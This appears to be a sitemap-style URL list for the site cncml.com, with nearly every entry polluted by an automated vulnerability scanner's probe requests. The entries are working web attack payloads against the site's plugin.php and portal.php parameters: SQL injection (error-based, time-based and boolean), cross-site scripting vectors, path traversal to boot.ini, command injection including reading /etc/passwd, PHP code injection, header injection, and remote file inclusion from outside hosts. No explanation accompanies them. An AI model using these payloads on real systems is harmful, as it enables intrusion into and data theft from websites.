http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?redirect:%25%7B23.5*2.35%7D 0.0001 http://www.cncml.com/plugin.php?xss_test%3Cscript%3Eprompt(42873);%3C/script%3E 0.0001 http://www.cncml.com/portal.php 0.0004 http://www.cncml.com/portal.php?%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/portal.php?catid=1&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%3Cdir 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/portal.php?catid=1&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/portal.php?catid=1&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/portal.php?catid=1&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=(SELECT%20(CASE%20WHEN%20(43=87)%20THEN%200x727373%20ELSE%2043*(SELECT%2043%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod=................windowswin.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/portal.php?catid=1&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/portal.php?catid=1&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/portal.php?catid=1&mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/portal.php?catid=1&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/portal.php?catid=1&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/portal.php?catid=1&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/portal.php?catid=1&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/portal.php?catid=1&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/portal.php?catid=1&mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/portal.php?catid=1&mod=dir 0.0001 http://www.cncml.com/portal.php?catid=1&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/portal.php?catid=1&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/portal.php?catid=1&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/portal.php?catid=1&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/portal.php?catid=1&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/portal.php?catid=1&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/portal.php?catid=1&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/portal.php?catid=1&mod=phpinfo 0.0001 http://www.cncml.com/portal.php?catid=1&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss 0.0015 http://www.cncml.com/portal.php?catid=1&mod=rss!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%00' 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25%27%29%20AND%2012%3D12%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25%27%29%20AND%2053%3D63%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20AND%2032=15%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20AND%2045=45%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%20'rss'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(23=95)%20THEN%20'rss'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%2527 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%2527%20AND%2011=61%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%2527%20AND%2057=57%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%5B%5D 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%5C%22 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%5C' 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss%bf%27 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss' 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND%20'XR'='XR 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND%20'ex'='fV 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20OR%20'uF'='uF'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(58=58)%20THEN%20'rss'%20ELSE%200x28%20END))%20AND%20'Wa'='Wa 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=77)%20THEN%20'rss'%20ELSE%200x28%20END))%20AND%20'3V'='3V 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%22 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20AND%2082=82%20AND%20('aT'='aT 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20AND%2098=71%20AND%20('PF'='PF 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(14=14)%20THEN%20'rss'%20ELSE%200x28%20END))%20AND%20('SM'='SM 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=26)%20THEN%20'rss'%20ELSE%200x28%20END))%20AND%20('M4'='M4 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss';%20IF(42=42)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss';%20IF(86=12)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss) 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/portal.php?catid=1&mod=rss)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 